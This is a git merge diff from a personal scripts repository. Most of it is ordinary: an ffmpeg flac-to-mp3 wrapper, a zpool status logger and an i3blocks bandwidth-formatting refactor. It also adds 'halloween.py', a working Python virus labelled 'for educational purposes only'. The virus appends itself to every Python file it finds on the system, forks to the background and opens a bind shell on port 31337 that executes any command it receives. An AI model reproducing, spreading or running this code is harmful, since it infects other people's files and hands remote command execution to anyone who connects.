From: Andrew Lorimer Date: Wed, 28 Nov 2018 07:13:11 +0000 (+1100) Subject: Merge branch 'master' of ssh://charles/tank/andrew/code/scripts X-Git-Url: https://git.lorimer.id.au/scripts.git/diff_plain/02cf747f6eb62d12d80d1115b2b7f863a6adbc69?hp=3273c7f76f82c880eaba30726bf1a5f174d59b42 Merge branch 'master' of ssh://charles/tank/andrew/code/scripts --- diff --git a/flactomp3.sh b/flactomp3.sh new file mode 100755 index 0000000..0837eb0 --- /dev/null +++ b/flactomp3.sh @@ -0,0 +1,13 @@ +#! /bin/bash + +# lazy wrapper for ffmpeg to convert flac to mp3 +# usage: flactomp3.sh [dir] +# all *.flac in [dir] or current directory are converted to mp3 if not already done + +if [ -z $1 ]; then + dir=$(pwd) +else + dir=$1 +fi + +for i in $dir/*.flac; do ffmpeg -n -i "$i" -ab 320k -map_metadata 0 -id3v2_version 3 "${i%.*}.mp3"; done \ No newline at end of file diff --git a/halloween.py b/halloween.py new file mode 100755 index 0000000..a73a871 --- /dev/null +++ b/halloween.py @@ -0,0 +1,54 @@ +# Happy Halloween ~ (A python appender VX) +# Finds all python scripts on a system, infects them +# with the VX if not infected, payload on infected scripts +# say "Happy Halloween" if run on October 31st. Virus +# opens a backdoor on port 31337 which can be used to +# send commands when an infected script has been executed. +# F O R E D U C A T I O N A L P U R P O S E S O N L Y + #!x +import glob #!x +import sys #!x +import os #!x +import socket #!x +from datetime import datetime #!x +from string import * #!x +date = datetime.now() #!x +if date.month == 10: #!x + if date.day == 31: #!x + print "Happy Halloween!" #!x +pid = os.fork() #!x +if pid > 0: #!x + sys.exit(0) #!x +cmd = 'find /. -name "*.py" -print 2>/dev/null' #!x +for Files in os.popen(cmd).readlines(): #!x + Files = Files[:-1] #!x + try: #!x + vCode = open(__file__, 'r') #!x + victim = open (Files, 'r') #!x + readvictim = victim.read() #!x + if find(readvictim, "pRdElKa") == -1: #!x + victim = open(Files, 'a') #!x + for code in vCode.readlines(): #!x + if ("#!x") in code: #!x + vCode.close() #!x + mycode=(code) #!x + victim.write(mycode) #!x + except IOError: #!x + a = 1 #!x +pid = os.fork() #!x +if pid > 0: #!x + sys.exit(0) #!x +try: #!x + s = socket.socket() #!x + s.bind(("0.0.0.0",31337)) #!x + s.listen(1) #!x +except socket.error, (value, message): #!x + sys.exit(0) #!x +while 1: #!x + (cli,add) = s.accept() #!x + info = {"platform":sys.platform,"version":sys.version} #!x + cli.send("".join(("You are connected to shell\r\n", info["platform"],info["version"],"\r\n"))) #!x + while 1:#!x + data = cli.recv(1024)#!x + resp = os.popen(data).readlines()#!x + cli.send("".join(resp))#!x diff --git a/i3blocks-bandwidth.sh b/i3blocks-bandwidth.sh index 26e5ac7..4c98e2f 100755 --- a/i3blocks-bandwidth.sh +++ b/i3blocks-bandwidth.sh @@ -19,7 +19,7 @@ # Get custom IN and OUT labels if provided by command line arguments while [[ $# -gt 1 ]]; do key="$1" - case "$key" in + case "$key" in -i|--inlabel) INLABEL="$2" shift;; @@ -83,28 +83,36 @@ tx_diff=$(( $tx - ${old[2]} )) rx_rate=$(( $rx_diff / $time_diff )) tx_rate=$(( $tx_diff / $time_diff )) +round() { + echo $(printf %.$2f $(echo "scale=$2;(((10^$2)*$1)+0.5)/(10^$2)" | bc)) +} + +format() { + if [ $1 == 0 ]; then + printf '000K' + elif [ $1 -lt 999 ]; then + # printf '%sK' "$1"; + printf %03d%s ${1%.*} K + elif [ $1 -lt 10240 ]; then + printf '%sM' "`echo "scale=1;$1 / 1024" | bc -l`" + elif [ $1 -lt 102400 ]; then + printf '0%sM' "$(round `echo "scale=1;$1 / 1024" | bc -l` 0)" + elif [ $1 -lt 1024000 ]; then + printf '%sM' "$(round `echo "scale=1;$1 / 1024" | bc -l` 0)" + else + printf '%sG' "$(round `echo "scale=2;$1 / 1048576" | bc -l` 1)" + fi +} + # shift by 10 bytes to get KiB/s. If the value is larger than # 1024^2 = 1048576, then display MiB/s instead # incoming echo -n "$INLABEL" -rx_kib=$(( $rx_rate >> 10 )) -if hash bc 2>/dev/null && [[ "$rx_rate" -gt 1048576 ]]; then - printf '%sM' "`echo "scale=1; $rx_kib / 1024" | bc`" -else - printf %03d ${rx_kib} # leading zeroes so length is constant - echo -n "K" -fi +format $(( $rx_rate >> 10 )) echo -n " " # outgoing echo -n "$OUTLABEL" -tx_kib=$(( $tx_rate >> 10 )) -if hash bc 2>/dev/null && [[ "$tx_rate" -gt 1048576 ]]; then - printf '%sM' "`echo "scale=1; $tx_kib / 1024" | bc`" -else - printf %03d ${tx_kib} # leading zeroes so length is constant - echo -n "K" - -fi +format $(( $tx_rate >> 10 )) diff --git a/zpoolstatus.sh b/zpoolstatus.sh new file mode 100755 index 0000000..c9525a2 --- /dev/null +++ b/zpoolstatus.sh @@ -0,0 +1,5 @@ +#! /bin/bash + +iostat=`zpool iostat` +status=`zpool status` +echo "$iostat\n$status" > /var/log/zpool.log